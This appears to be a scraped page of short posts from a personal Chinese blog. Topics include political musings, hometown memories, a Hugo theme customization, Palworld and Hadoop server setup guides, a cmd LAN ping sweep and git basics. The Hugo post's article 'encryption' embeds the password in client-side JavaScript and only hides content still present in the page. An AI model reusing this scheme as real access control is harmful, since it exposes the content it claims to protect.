另一种角度来看,当某国人民开始流行起反战主义,也就是革命爆发的前奏了。 俄罗斯 阳这个观点还引发了我的另一个思考,在过去,一些左派,或者就是我,总想着某国作为帝国主义最薄弱的一环或者美国作为最发达的资本主义国家,乃至印度这个真正弱的资本主义大国(主要是有印共🐱),作为新的革命的爆发地点。但是俄罗斯呢,俄罗斯是否是一种可能呢? 阳似乎也忽视了这一点,也许有他的道理,但我总不喜欢让自己保持,啊,我就是特别的,这种观点。俄罗斯作为曾经苏联这个超级大国,帝国主义国家的最大继承者,虽然经济上不如人意,军事上似乎很强又似乎Paper Tiger,美国仍然将他当作主要对手,或许也可以算一个正在没落的帝国主义国家,这里的民生问题似乎也在变得越来越严重,这里是否会再一次成为革命的爆发点呢? 美国 阳提到,美国将俄罗斯作为主要竞争对手,也许因为其海外的影响力,也许是军事实力,似乎并没有意识到某国对美国是最大最根本的冲突. 但是俄乌战争,使得俄罗斯深陷泥潭,似乎让美国得以抽出精力专心应对某国。 美国前总统Trump的的政策是战略收缩,将某国作为主要对手,与之全面脱钩,这样看来是一个对他而言正确的选择,因而如果他再次当选,且贯彻了他的政策,也许就是前面提到的必然冲突爆发的时刻了。 我 学习 长话短说,我真的要抓紧学习马列理论知识和计算机技术知识了,在必然的冲突爆发前爆发时,为无产阶级革命贡献自己的力量。 未来做什么 我幼稚的想法还是希望能够利用区块链等计算机技术,实现新的公有制商品经济方案。好好学习吧。

2/15/2024
articleCard.readMore

随想240211

西安 不知不觉离开西安18年了,我在武汉和北京的日子已经成年了。 其实在西安的日子满打满算不过五六年吧,哪怕陕西话都不会说了,总觉得自己是西安人。 喜欢西安的好吃的,喜欢西安的生活,每个假期来西安总时能在亲戚特别是舅舅招待下大快朵颐。 小时候对西安的念想是肉夹馍凉皮羊肉泡,长大些是对爷爷奶奶的思念,记得小学时候一次刚从西安回武汉,躲在厕所偷偷哭,想念爷爷奶奶,现在又多了和我表哥一起玩。 西安,我的故乡,我心里的家。 武汉 武汉是我成年的地方,我在武汉度过了从幼儿园到高中,朋友也都在这里认识。 虽然生活了这么多年,但还是只喜欢热干面的第一口,不能习惯油油腻腻的口味。 倘若考上研究生,初中高中的朋友大多会留在武汉,如果我回了西安,或者说其实大家都还不知道会去哪个城市,哪怕研究生在一起,将来生活也不一定,老朋友一年还能再见几面呢。 北京 没什么好说的,要不是github copilot,我还不准备写## 北京这个标题。

2/11/2024
articleCard.readMore

hugo模板自定义修改

前言 本文所在的博客是基于hugo的stack主题搭建的,但是在使用过程中,发现有一些地方不太符合个人的需求,因此需要对模板进行一些自定义修改。 例如一些页面的样式,或者新增一些页面、功能或组件。 这就需要在主题的基础上进行一些自定义修改,本文以在左侧选项菜单栏新增一个随笔(musings)页面和新增password与passwordPoint变量进行博文前端加密为例,说明如何在新建的页面中使用自定义的模板。 新建随笔页面 理论上是直接在content目录下新建.md文件就行了,根据不同主题的情况,我使用的stack主题中,每个页面是一个文件夹,里面包含一个index.md文件,因此需要新建一个文件夹,然后在里面新建index.md文件。 在content/page/目录下新建一个musings文件夹,然后在里面新建index.md文件,内容如下: 1 2 3 4 5 6 7 8 9 10 11 --- title: "随笔" date: 2023-09-08 layout: "musings" slug: "musings" menu: main: weight: 4 params: icon: note --- 其中layout: "musings"表示使用stack主题中尚未创建(待会我会创建)的musings.html模板。 新建模板 如果使用git moudule的方式引入主题,博客根目录下会有一个layouts目录,themes目录下也会有一个layouts目录,这两个目录的区别是前者是用来存放自定义模板的,后者是存放主题模板的。一般前一个目录下的模板会覆盖后一个目录下的模板,自定义模板时,将文件复制到前一个目录下进行修改即可。 模板文件一般放在layouts目录下,_default目录下存放优先默认模板,因此在layouts/_default目录下新建一个musings.html文件,查找并显示tag为musings的文章,内容如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 {{ define "body-class" }}template-archives{{ end }} {{ define "main" }} <h1 class="big-title" style="color: white;">随笔</h1> {{ $pages := where .Site.RegularPages "Type" "in" .Site.Params.mainSections }} {{ $notHidden := where .Site.RegularPages "Params.hidden" "!=" true }} {{ $filtered := ($pages | intersect $notHidden) }} {{ range $filtered.GroupByDate "2006" }} {{ $id := lower (replace .Key " " "-") }} <div class="archives-group" id="{{ $id }}"> <h2 class="archives-date section-title"><a href="{{ $.RelPermalink }}#{{ $id }}">{{ .Key }}</a></h2> <div class="article-list--compact"> {{ range .Pages }} {{ if in .Params.tags "musings" }} <article> <a href="{{ .RelPermalink }}"> <div class="article-details"> <h2 class="article-title"> {{- .Title -}} </h2> <footer class="article-time"> <time datetime='{{ .Date.Format "2006-01-02T15:04:05Z07:00" }}'> {{- .Date.Format (or .Site.Params.dateFormat.published "Jan 02, 2006") -}} </time> </footer> </div> {{- $image := partialCached "helper/image" (dict "Context" . "Type" "articleList") .RelPermalink "articleList" -}} {{ if $image.exists }} <div class="article-image"> {{ if $image.resource }} {{- $Permalink := $image.resource.RelPermalink -}} {{- $Width := $image.resource.Width -}} {{- $Height := $image.resource.Height -}} {{- if (default true .Page.Site.Params.imageProcessing.cover.enabled) -}} {{- $thumbnail := $image.resource.Fill "120x120" -}} {{- $Permalink = $thumbnail.RelPermalink -}} {{- $Width = $thumbnail.Width -}} {{- $Height = $thumbnail.Height -}} {{- end -}} <img src="{{ $Permalink }}" width="{{ $Width }}" height="{{ $Height }}" alt="{{ .Title }}" loading="lazy"> {{ else }} <img src="{{ $image.permalink }}" loading="lazy" alt="Featured image of post {{ .Title }}" /> {{ end }} </div> {{ end }} </a> </article> {{ end }} {{ end }} </div> </div> {{ end }} {{ partialCached "footer/footer" . }} {{ end }} 成功 这样就完成了一个新页面的创建。 修改 layouts\partials\article\article.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 {{ if isset .Params "password" }} <div id="password-protected-content" style="border: 1px solid #ccc; padding: 10px; border-radius: 5px; background-color: #f9f9f9; text-align: center;"> <p style="font-size: 16px; margin-bottom: 10px;">{{ with .Params.passwordPoint }}{{ . }}{{ else }}这是密码保护的内容,请输入密码访问:{{ end }}</p> <input type="password" id="password-input" style="padding: 5px; margin-bottom: 10px; width: 200px;"> <button onclick="verifyPassword()" style="padding: 5px 10px; background-color: #007bff; color: #fff; border: none; border-radius: 3px; cursor: pointer;">提交</button> </div> <div id="article-content" style="display: none;"> <article class="{{ if .Params.image }}has-image {{ end }}main-article"> {{ partial "article/components/header" . }} <!-- 以下部分仅在密码验证通过后显示 --> <div id="content"> {{ partial "article/components/content" . }} </div> <!-- End of password-protected content --> {{ partial "article/components/footer" . }} {{ if or .Params.math .Site.Params.article.math }} {{ partialCached "article/components/math.html" . }} {{ end }} </article> </div> {{ else }} <div id="article-content"> <article class="{{ if .Params.image }}has-image {{ end }}main-article"> {{ partial "article/components/header" . }} {{ partial "article/components/content" . }} {{ partial "article/components/footer" . }} {{ if or .Params.math .Site.Params.article.math }} {{ partialCached "article/components/math.html" . }} {{ end }} </article> </div> {{ end }} <script> function verifyPassword() { var inputPassword = document.getElementById('password-input').value; var correctPassword = '{{ with .Params.password }}{{ . }}{{ else }}{{ "" }}{{ end }}'; // 获取文章 Front Matter 中定义的密码 if (inputPassword === correctPassword) { document.getElementById('password-protected-content').style.display = 'none'; // 隐藏密码输入框 document.getElementById('article-content').style.display = 'block'; // 显示文章内容 } else { alert('密码错误,请重新输入!'); } } </script> 其中 {{ if isset .Params "password" }}可以判断password是否存在; {{ with .Params.passwordPoint }}{{ . }}{{ else }}这是密码保护的内容,请输入密码访问:{{ end }}则可以获取md前边的passwordPoint变量,如果没有则显示默认的提示信息; 成功 这样就完成了一个加密功能的实现。

2/9/2024
articleCard.readMore

幻兽帕鲁服务器搭建

前言 幻兽帕鲁(Palworld)是一个抓宝可梦打黑工的开放世界冒险游戏,我想实现24h不间断的服务器以供朋友们随时上号可以继续建设共同的世界,不必等待房主上号。 这需要利用游戏提供的幻兽帕鲁私有服务器(Palworld Dedicated Server)工具实现。 环境 windows 11 Ubuntu 22.04 服务器配置 CPU RAM Network 4核 16G UDP端口8211 端口转发 参考 官方开服教程 steamcmd 服务器搭建操作 windows 11 安装官方开服软件 购买游戏后,在steam库中的工具中找到Palworld Dedicated Server并下载安装。 配置开服软件 打开安装好的开服软件,选择Play Palworld Dedicated Server启动 steamCMD-Windows 官网下载后,新建文件夹steamCMD作为安装目录,解压到该目录下并运行。 下载完成后,设置游戏安装目录 1 force_install_dir D:\steamCMD\palworld 登录 1 2 3 4 5 6 7 8 # 匿名登陆 login anonymous # 或者使用账号密码登陆 login username # 输入密码 下载更新游戏 1 2 3 4 5 6 7 app_update <app_id> [-beta <betaname>] [-betapassword <password>] [validate] # app_id 为游戏的id,beta为测试版本,有的beta版本有密码,validate为验证文件完整性 # 以幻兽帕鲁为例 # app_update 2394010 validate steamcmd中下载幻兽帕鲁 1 2 3 4 # steamcmd login anonymous app_update 2394010 validate quit 配置开服软件 1 2 3 # windows命令行 cd D:\steamCMD\steamapps\common\PalServer PalServer.exe 报错:缺少Vc++runtime,DirectX, 下载[微软常用运行库](https://pan.quark.cn/s/cb49a332907e 作者:bili_3493079524838071 https://www.bilibili.com/read/cv21613227/ 出处:bilibili) 下载DirectX steamCMD-Ubuntu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 # 作为root用户,创建steam用户: sudo useradd -m steam sudo passwd steam # 进入其主文件夹: sudo -u steam -s cd /home/steam # 如果无权限sudo # 切到root用户,修改/etc/sudoers文件,添加一行: # steam ALL=(ALL:ALL) ALL # 下载steamcmd: sudo add-apt-repository multiverse; sudo dpkg --add-architecture i386; sudo apt update sudo apt install steamcmd ## debian或找不到steamcmd,尝试一下命令 # sudo apt update; sudo apt install software-properties-common # # sudo apt-add-repository non-free # # sudo dpkg --add-architecture i386 # # sudo apt update # # sudo apt install steamcmd ## steamcmd无法运行,尝试命令: # 查找steamcmd路径,如/usr/lib/games/steam/steamcmd # dpkg -L steamcmd # 创建软链接 # sudo ln -s /usr/lib/games/steam/steamcmd /usr/local/bin/steamcmd # 运行steamcmd # steamcmd 其他同steamCMD-Windows操作 运行./PalServer.sh启动服务器 报错:.steam/sdk64/steamclient.so: cannot open shared object file: No such file or directory 1 2 3 mkdir -p ~/.steam/sdk64/ steamcmd +login anonymous +app_update 1007 +quit cp ~/Steam/steamapps/common/Steamworks\ SDK\ Redist/linux64/steamclient.so ~/.steam/sdk64/ 之后就好了,不用管报错。 linux端palsever.sh 开机自启动 始终保持运行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # /etc/systemd/system/PalWorldLihan.service [Unit] Description=PalWorldLihan After=network.target [Service] ExecStart=/home/steam/Steam/steamapps/common/PalServer/PalServer.sh Restart=always WorkingDirectory=/home/steam/Steam/steamapps/common/PalServer/ User=steam Environment=GIN_MODE=release [Install] WantedBy=multi-user.target steamCMD-Docker 1 2 3 4 5 6 7 8 # wsl # 下载并启动镜像 docker run -di --name=steamcmd cm2network/steamcmd docker exec -it steamcmd /bin/bash # steamcmd.sh 位于 /home/steam/steamcmd 其他同steamCMD-Ubuntu操作 服务器存档及转移问题 目前只在windows下steamcmd测试过,其他系统未知 存档 专属服务器存档位置 [steamcmd的steamapps路径]\common\PalServer\Pal\Saved\SaveGames\0\[存档名] 例如 D:\steamCMD\steamapps\common\PalServer\Pal\Saved\SaveGames\0\1865165198165165091 存档结构 1 2 3 4 5 6 . ├── Level.sav #地图数据 ├── LevelMeta.sav └── Players ├── 8HIHSUBI0000000000.sav #玩家数据(steam游戏id) └── 88UKBUE30000000000.sav 配置文件 .\steamapps\common\PalServer\DefaultPalWorldSettings.ini文件是默认配置文件模板。 .\steamapps\common\PalServer\Pal\Saved\Config\WindowsServer\PalWorldSettings.ini是服务器配置文件 D:\steamCMD\steamapps\common\PalServer\Pal\Binaries\Win64\steam_appid.txt是steam游戏id 服务器转移 不要更改服务器配置(如密码等),否则可能会导致存档不兼容。 转移服务器只需要复制替换前文提到的文件或目录: [steamcmd的steamapps路径]\common\PalServer\Pal\Saved游戏存档文件夹 .\steamapps\common\PalServer\DefaultPalWorldSettings.ini默认配置模板 .\steamapps\common\PalServer\Pal\Saved\Config\WindowsServer\PalWorldSettings.ini配置 D:\steamCMD\steamapps\common\PalServer\Pal\Binaries\Win64\steam_appid.txtsteam游戏id(电脑上装了steam和没装,启动steamcmd的palServer的steam_appid.txt不一样) 服务器转移 新 存档转移教程 存档转移脚本(看这个就完了) 游戏优化 这op游戏有很多问题,内存优化等 内存优化 定期重启服务器(弃用) 有个大佬做了程序,仓库有教程 PalworldServerAutoRestart 使用流程大概就是下载exe,放在PalServer目录下,启动一下,会出现个config.json,跟着教程改一下,打开没问题,开着这个再开着游戏就ok了 服务器内存优化(memreduct) memreduct是一个内存优化工具,可以在windows下使用。 下载后,打开,按照默认设置,选择到80%或者自定义的值就清理。去掉清理提示。 存档自动备份 由于游戏不是很稳定,加上服务器不稳定,存档迁移等原因,最好定期备份存档。 我自己写了个每分钟备份一次存档,保留最新100次存档的小程序,后续还会继续优化。 目前只保证在winodws上的steamcmd运行的PalServer存档备份(我只测试了这个嘿嘿)。 下载地址:backupPal

1/23/2024
articleCard.readMore

word文档图片插入显示不全问题

问题 如图所示 插入图片到word文档中,图片显示不全。 解决 点击插入的图片,使用快捷键ctrl+1,即可

1/19/2024
articleCard.readMore

cmd命令行扫描局域网在线ip

引入 有时候需要知道局域网内有哪些设备在线,可以使用cmd命令行扫描局域网在线ip。 这在比如ssh连接舍友电脑时候可能有用哈哈。 步骤 打开cmd命令行,输入ipconfig查看本机ip地址,如192.168.31.*,其中*为本机ip地址的最后一位。 根据这个知道大概的局域网范围 扫描ip 1 for /L %i IN (1,1,254) DO ping -w 1 -n 1 192.168.31.%i #192.168.31.为本机ip地址前三位 等待扫描结束 查看扫描结果 1 arp -a 注意 只能用win+r+cmd打开的命令行,否则会报错。

1/12/2024
articleCard.readMore

Ubuntu上配置使用git

安装git 1 2 sudo apt-get update sudo apt-get install git 配置git 1 2 git config --global user.name "Your Name" git config --global user.email "Your Email" 配置ssh key 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # 检查是否能访问github ssh -T git@github.com # Permission denied (publickey).说明可以访问,但是没有权限 cd ~/.ssh ssh-keygen -t rsa -C "lihan3238@163.com" # 查看公钥 cat ~/.ssh/id_rsa.pub # 生成ssh key后,需要将公钥添加到github上 # 添加私钥到ssh-agent #如果报错,则先执行: eval "$(ssh-agent -s)" ssh-add ~/.ssh/id_rsa # 验证是否添加成功 ssh git@github.com 从github上clone仓库 1 git clone git@github.com:lihan3238/webDatabaseApp.git 创建仓库 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # github上创建仓库 dockerfiles # 在本地创建仓库 mkdir dockerfiles cd dockerfiles git init # 添加文件 vim README.md # 添加到暂存区 git add README.md # 提交到仓库 git commit -m "first commit" # 添加远程仓库 ## 关联远程仓库 git remote add origin https://github.com/lihan3238/dockerfiles.git ## 推送到远程仓库 git push -u origin main 从远程仓库拉取 1 git pull origin main

12/25/2023
articleCard.readMore

基于MoviePy和edge-tts的python生成解说音频并合成视频

代码介绍: 代码使用pipenv进行包管理 代码分为三部分: dubbingVideo 用于从解说素材中生成音频 使用了edge-tts包 resize_images 用于将图片素材格式调整至一致 使用了PIL包 cideoCreate 用于将图片素材和音频合成为视频 使用了moviepy包 代码使用方法 将图片素材放在1-图像素材文件夹下,解说素材放在2-解说素材文件夹下,配乐素材放在3-配乐素材文件夹下,打开命令行进入主目录下,进行输入操作: 确定python版本为 3.10 pip install pipenv pipenv shell pipenv install python ./基于MoviePy的影视解说视频合成.py

12/20/2023
articleCard.readMore

搭建Hadoop环境

环境 windows11上的ubuntu22.04的wsl2 ubuntu22.04 hadoop-3.1.2 hbase-1.2.11 jdk-8u201-linux-x64 配置环境 hadooptest 192.168.50.156 成品镜像 /lihan3238/hadoop_hbase-ubuntu:lihanhadoop docker pull lihan3238/hadoop_hbase-ubuntu:lihanhadoop 使用 1 2 3 4 5 6 7 8 9 # 创建容器 sudo docker run -di --name hadooptest -v /media/sf_share_001/:/home/shareFiles lihan3238/hadoop_hbase-ubuntu:lihanhadoop # 进入容器 docker exec -it hadooptest /bin/bash # 启动hadoop时要注意切换到hadoop用户和启动ssh服务 su hadoop sudo service ssh start docker容器配置 windows11上的ubuntu22.04的wsl2 docker0网桥: 1 2 3 mysqlBridge: Subnet:192.168.50.0/24 Gateway:192.168.50.1 安装依赖文件 hadooptest 192.168.50.156 创建容器 1 2 # 创建容器 sudo docker run -di --name hadooptest -v /media/sf_share_001/:/home/shareFiles ubuntu22.04:1.0 进入容器 1 2 3 4 5 6 7 8 # 进入容器 docker exec -it hadooptest /bin/bash # 安装基础工具 apt update apt upgrade apt install vim sudo dialog net-tools iputils-ping 创建用户 1 2 3 4 5 6 7 8 # 创建用户 sudo useradd -m hadoop -s /bin/bash #创建hadoop用户,并使用/bin/bash作为shell sudo passwd hadoop #为hadoop用户设置密码,之后需要连续输入两次密码 # 密码 lihan sudo adduser hadoop sudo #为hadoop用户增加管理员权限 su - hadoop #切换当前用户为用户hadoop sudo apt-get update #更新hadoop用户的apt,方便后面的安装 配置SSH免密登录 1 2 3 4 5 6 7 8 9 10 sudo apt-get install openssh-server #安装SSH server ssh localhost #登陆SSH,第一次登陆输入yes exit #退出登录的ssh localhost cd ~/.ssh/ #如果没法进入该目录,执行一次ssh localhost ssh-keygen -t rsa   输入完 $ ssh-keygen -t rsa 语句以后,需要连续敲击三次回车 cat ./id_rsa.pub >> ./authorized_keys #加入授权 ssh localhost #此时已不需密码即可登录localhost,如果失败则可以搜索SSH免密码登录来寻求答案 报错1: 执行ssh localhost时报错ssh: connect to host localhost port 22: Cannot assign requested address 解决1: ssh-server未运行,执行sudo /etc/init.d/ssh start启动ssh-server 安装配置jdk1.8 jdk-8u201-linux-x64.tar.gz为例 1 2 3 4 5 6 mkdir /usr/lib/jvm sudo tar zxvf /home/shareFiles/jdk-8u201-linux-x64.tar.gz -C /usr/lib/jvm cd /usr/lib/jvm mv jdk1.8.0_201 java vim ~/.bashrc # 给环境变量添加jdk 1 2 3 4 5 # .bashrc文件添加如下内容 export JAVA_HOME=/usr/lib/jvm/java export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib:$CLASSPATH export PATH=${JAVA_HOME}/bin:$PATH 注意不同用户的环境变量不同,需要在不同用户下添加环境变量 1 2 3 source ~/.bashrc # 使环境变量生效 java -version # 查看jdk版本 安装配置hadoop hadoop-3.1.2.tar.gz为例 1 2 3 4 5 6 sudo tar -zxvf /home/shareFiles/hadoop-3.1.2.tar.gz -C /usr/local #解压到/usr/local目录下 cd /usr/local sudo mv hadoop-3.1.2 hadoop #重命名为hadoop sudo chown -R hadoop ./hadoop #修改文件权限,根据实际情况确定用户名 vim ~/.bashrc # 给环境变量添加jdk 注意不同用户的环境变量不同,需要在不同用户下添加环境变量 1 2 3 4 # .bashrc文件添加如下内容 export HADOOP_HOME=/usr/local/hadoop export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native export PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin 1 2 3 source ~/.bashrc # 使环境变量生效 hadoop version # 查看hadoop版本 配置hadoop 伪分布式配置 Hadoop 可以在单节点上以伪分布式的方式运行,Hadoop 进程以分离的 Java 进程来运行,节点既作为 NameNode 也作为 DataNode,同时,读取的是 HDFS 中的文件。Hadoop 的配置文件位于/usr/local/hadoop/etc/hadoop/中,伪分布式需要修改2个配置文件 core-site.xml 和 hdfs-site.xml 。Hadoop的配置文件是 xml 格式,每个配置以声明 property 的 name 和 value 的方式来实现。 1 2 3 4 5 6 7 8 #首先将jdk1.8的路径添(`export JAVA_HOME=/usr/lib/jvm/java` )加到hadoop-env.sh文件 sudo vim /usr/local/hadoop/etc/hadoop/hadoop-env.sh # 在文件中添加如下内容 export JAVA_HOME=/usr/lib/jvm/java # 修改core-site.xml文件 sudo vim /usr/local/hadoop/etc/hadoop/core-site.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 #在文件中添加如下内容 <configuration> <property> <name>hadoop.tmp.dir</name> <value>file:/usr/local/hadoop/tmp</value> <description>A base for other temporary directories.</description> </property> <property> <name>fs.defaultFS</name> <value>hdfs://localhost:9000</value> </property> </configuration> 1 2 # 修改hdfs-site.xml文件 sudo vim /usr/local/hadoop/etc/hadoop/hdfs-site.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <configuration> <property> <name>dfs.replication</name> <value>1</value> </property> <property> <name>dfs.namenode.name.dir</name> <value>file:/usr/local/hadoop/tmp/dfs/name</value> </property> <property> <name>dfs.datanode.data.dir</name> <value>file:/usr/local/hadoop/tmp/dfs/data</value> </property> </configuration> Hadoop 的运行方式是由配置文件决定的(运行 Hadoop 时会读取配置文件),因此如果需要从伪分布式模式切换回非分布式模式,需要删除 core-site.xml 中的配置项。此外,伪分布式虽然只需要配置 fs.defaultFS 和 dfs.replication 就可以运行(可参考官方教程),不过若没有配置 hadoop.tmp.dir 参数,则默认使用的临时目录为 /tmp/hadoo-hadoop,而这个目录在重启时有可能被系统清理掉,导致必须重新执行 format 才行。所以我们进行了设置,同时也指定 dfs.namenode.name.dir 和 dfs.datanode.data.dir,否则在接下来的步骤中可能会出错。 NameNode 格式化 1 2 3 4 #注意切换到hadoop用户下执行命令 #/usr/local/hadoop/bin/hdfs namenode –format hdfs namenode -format 问题1: hdfs namenode -format报错 解决1: 手动输入,可能有奇怪的空格 1 2 3 4 5 6 7 #启动namenode和datanode进程,并查看启动结果 su hadoop sudo service ssh start #/usr/local/hadoop/sbin/start-dfs.sh start-dfs.sh # 启动完成后,通过命令 jps 来判断是否成功启动 jps 问题1: /usr/local/hadoop/sbin/start-dfs.sh报错 解决1: 注意切换到hadoop用户下执行命令 注意检查ssh是否在运行sudo service ssh status 问题2: 1d55461ab30f: ERROR: Unable to write in /usr/local/hadoop/logs. Aborting.报错 解决2: sudo chown -R hadoop /usr/local/hadoop/logs修改文件权限 问题3: WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable报错 解决3: 解决方案是在文件hadoop-env.sh中增加: export HADOOP_OPTS="-Djava.library.path=${HADOOP_HOME}/lib/native" 启动Hadoop例子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #创建执行MapReduce作业所需的 DFS 目录: hdfs dfs -mkdir /user hdfs dfs -mkdir /user/<username> #<username> 问用户名,如hadoop #拷贝输入文件到分布式文件系统: hdfs dfs -put /usr/local/hadoop/etc/hadoop input #可以运行一些例子: hadoop jar /usr/local/hadoop/share/hadoop/mapreduce/hadoop-mapreduce-examples-3.1.2.jar grep input output 'dfs[a-z.]+' #查看输出的文件(files): 从分布式文件系统中拷贝文件到本地文件系统并查看: hdfs dfs -get output /usr/local/hadoop/output cat /usr/local/hadoop/output/* #或者直接在分布式文件系统上查看: hdfs dfs -cat output/* YARN 单机配置 通过设置几个参数并运行ResourceManager daemon and NodeManager daemon,你可以在YARN上以伪分布模式运行MapReduce job。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 vim /usr/local/hadoop/etc/hadoop/mapred-site.xml #修改mapred-site.xml文件 <configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> </configuration> vim /usr/local/hadoop/etc/hadoop/yarn-site.xml #修改yarn-site.xml文件 <configuration> <property> <name>yarn.nodemanager.aux-services</name> <value>mapreduce_shuffle</value> </property> </configuration> # 启动ResourceManager daemon 和 NodeManager daemon: start-yarn.sh ResourceManager - http://localhost:8088/ #可以通过下列命令停止hadoop和YARN stop-dfs.sh stop-yarn.sh 配置hbase 安装配置hbase hbase-1.2.11-bin.tar.gz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 解压 sudo tar -zxvf /home/shareFiles/hbase-1.2.11-bin.tar.gz -C /usr/local sudo mv /usr/local/hbase-1.2.11 /usr/local/hbase cd /usr/local sudo chown -R hadoop /usr/local/hbase # 配置环境变量 vim ~/.bashrc # .bashrc文件添加如下内容 export PATH=$PATH:/usr/local/hbase/bin source ~/.bashrc # 使环境变量生效 # 查看版本 hbase version 配置hbase 单机配置(可能需要配置JAVA_HOME环境变量, 由于本实验指南在HADOOP安装时已配置,故省略) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 修改hbase-site.sh文件 sudo vim /usr/local/hbase/conf/hbase-site.xml # 在文件中添加如下内容 <configuration> <property> <name>hbase.rootdir</name> <value>file:///usr/local/hbase/hbase-tmp</value> </property> </configuration> #采用如下命令启动服务、查看进程和启动客户端 cd /usr/local/hbase #/usr/local/hbase/bin/start-hbase.sh start-hbase.sh jps #/usr/local/hbase/bin/hbase shell hbase shell 下面为配置伪分布模式的指南 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 修改hbase-env.sh文件 #在conf/hbase-env.sh文件里设置 JAVA_HOME 环境变量. 首先确定java安装位置,本实验为:usr/lib/jvm/java,然后编辑 conf/hbase-env.sh 文件, sudo vim /usr/local/hbase/conf/hbase-env.sh #加入: export JAVA_HOME=/usr/lib/jvm/java # 修改hbase-site.xml文件 sudo vim /usr/local/hbase/conf/hbase-site.xml # 添加 <property> <name>hbase.cluster.distributed</name> <value>true</value> </property> # 启动 start-dfs.sh cd /usr/local/hbase/bin start-hbase.sh jps 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 3. 操作hbase ```bash # Start a backup HBase Master (HMaster) server.(仅仅为了测试和学习,生产环境不会在一台机器上启动备份master) # HMaster服务器控制 HBase集群. 你可以启动最多9个后备HMaster。 # 用 localmaster-backup.sh启动. 为每个后背HMaster加一个16000端口之上的偏移量。 启动后可以查看结果。 local-master-backup.sh start 2 3 5 jps # 启动和停止附加区域服务器RegionServers local-regionservers.sh start 2 3 4 5 #进入交互界面 hbase shell # 进行一些基本数据库操作 ## 创建表(使用create命令创建一个新表.你必须规定表名和列族名) create 'test', 'cf' ## 查看表 ### list 命令可以显示表信息 list 'test' ### describe 命令显示表的详细信息 describe 'test' ## 插入数据 ### put put 'test', 'row1', 'cf:a', 'value1' put 'test', 'row2', 'cf:b', 'value2' put 'test', 'row3', 'cf:c', 'value3' ## 扫描表 使用scan 命令扫描整个表取得数据 scan 'test' ## 取一行数据,使用get指令 get 'test', 'row1' ## 修改表模式,使用alter命令,如修改存储版本数 disable 'test' alter 'test', NAME => 'cf', VERSIONS => 5 enable 'test' ## 删除表,使用drop命令 disable 'test' drop 'test' 思考题: 1 请问伪分布和分布式的含义有何不同?就本实验,你是如何理解在一台计算机上做到“伪分布”的? 伪分布通常指的是在单台计算机上模拟分布式环境,即将分布式系统的各个组件部署在同一台机器上,以方便开发和调试。而分布式系统是在多台计算机上部署的系统,各个计算机之间通过网络进行通信和协作。 在一台计算机上实现“伪分布”通常是为了方便在单机上测试和调试分布式系统的各个组件,以便更好地理解和解决分布式系统的问题。 2 在1.2小节进行安装SSH并设置SSH无密码登陆,请问这个安装的目的是什么? 在1.2小节进行安装SSH并设置SSH无密码登录的目的是为了实现集群中各个节点之间的安全通信。SSH(Secure Shell)是一种加密的网络协议,通过在集群节点之间建立SSH无密码登录,可以实现在节点之间的安全通信,方便集群管理和操作 3 如果继续向Hbase的test表中put行键为”row1”,值为其它字符串的数据,put ‘test’ ,’row1’, ‘cf:a’, ‘value6’,会发生什么?如果采用语句get ‘test’, ‘row1’, {COLUMN=>’cf:a’, VERSIONS=>3} 进行查询,分析你得到的结果。put与关系数据库的插入有何不同? 这将在test表的row1行的cf:a列插入新的值’value6’。如果之前已经存在相同行键和列族的数据,它会被覆盖。 对于查询语句: javascript get ’test’, ‘row1’, {COLUMN=>‘cf:a’, VERSIONS=>3} 这将获取test表中row1行cf:a列的最近3个版本的数据。如果之前的put操作执行成功,你可能会得到包含’value6’的结果。 相较于关系数据库的插入,HBase是一种NoSQL数据库,支持灵活的列族和列的存储,而不需要提前定义表的结构。插入数据时,可以方便地插入不同列族的数据,而不受严格的表结构限制。

12/19/2023
articleCard.readMore

过生日

17号 和zhj wy yrf zmz去猫咖,第一次去猫咖,体验不错,猫猫很可爱,wy去杭州实习了,考六级这次回来,晚上就去杭州了,一起吃了他们心心念念的千层面哈哈. 忘了合照,可惜了。 18号 不知道会怎么安排,下午还是有课的,早睡吧,早起多玩玩(by 17号的lihan) 翘了一下午的课,和zhj cwt lys zyx 去玩桌游,晚上吃了葫芦鸡陕菜。 生日过去了,还有9分钟。 情感 发现自己甚至不能看斗罗大陆了,看几页就想起当年高中的时光,心脏真受不了。。。 每次玩土豆兄弟时候,满脑子是自己干过的蠢事,和这个是不是有点像。

12/18/2023
articleCard.readMore

下雪了

